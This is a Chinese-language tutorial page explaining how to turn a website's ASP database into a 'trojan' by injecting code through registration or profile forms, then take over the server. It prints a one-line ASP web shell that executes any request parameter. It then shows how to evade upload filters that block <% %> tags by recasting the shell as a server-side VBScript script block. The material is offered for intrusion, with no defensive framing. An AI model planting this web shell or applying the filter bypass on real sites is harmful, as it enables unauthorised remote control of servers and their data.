插入ASP代码让网站数据库成为ASP木马- ASP

当前位置: 首页 > 图文教程 > 网络编程 > ASP > 插入ASP代码让网站数据库成为ASP木马

ASP: remote script文档(转载自微软)(八); 不能ASP图像组件来生成图像的ASP计数器程序(二); 不能ASP图像组件来生成图像的ASP计数器程序(三); 用ASP发送邮件; 用ASP进行网络打印功能; 用ASP实现号码转换; 如何用ASP创建日志文件; 二十八条改善 ASP 性能和外观的技巧(1-7); 二十八条改善 ASP 性能和外观的技巧(8-14); 二十八条改善 ASP 性能和外观的技巧(15-21); 二十八条改善 ASP 性能和外观的技巧(22-28); asp实现在web中显示电子表格数据（一）显示数据表格的应用; asp实现在web中显示电子表格数据（二）生成HTML表格; asp实现在web中显示电子表格数据（三）创建数据表列表和名字范围; asp实现在web中显示电子表格数据（四）创建文件选择列表; Carello Web 使 ASP 源码暴露 (APP,缺陷); MS IIS虚拟主机ASP源码泄露 (MS,缺陷); 虚拟web目录容易泄露ASP源代码 (MS,缺陷); MS IIS server的ASP安全缺陷 (MS,缺陷); 用WinSock设计Chat程序(转)

技术文章搜索

关键字

出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-08-14 浏览: 142 ::

收藏到网摘: n/a

很多时候我们可以通过在注册表单或者用户信息修改表单中，插入简短的ASP代码，使网站ASP数据库变成为一个ASP木马，然后进一步入侵控制服务器。

不过在上传代码过程中，许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传。

这样就有好多SHELL不能上传上去了。可以采用下面的方法解决。以蓝屏最小ASP木马为例。

首先：原程序代码是：

〈%execute request("l")%〉

我们可以把它的标签换下来。

然后改成：

<scriptlanguage=VBScript runat=server>execute request("l")</Script>

这样就避开了使用〈%%〉，保存为.ASP,程序同样执行。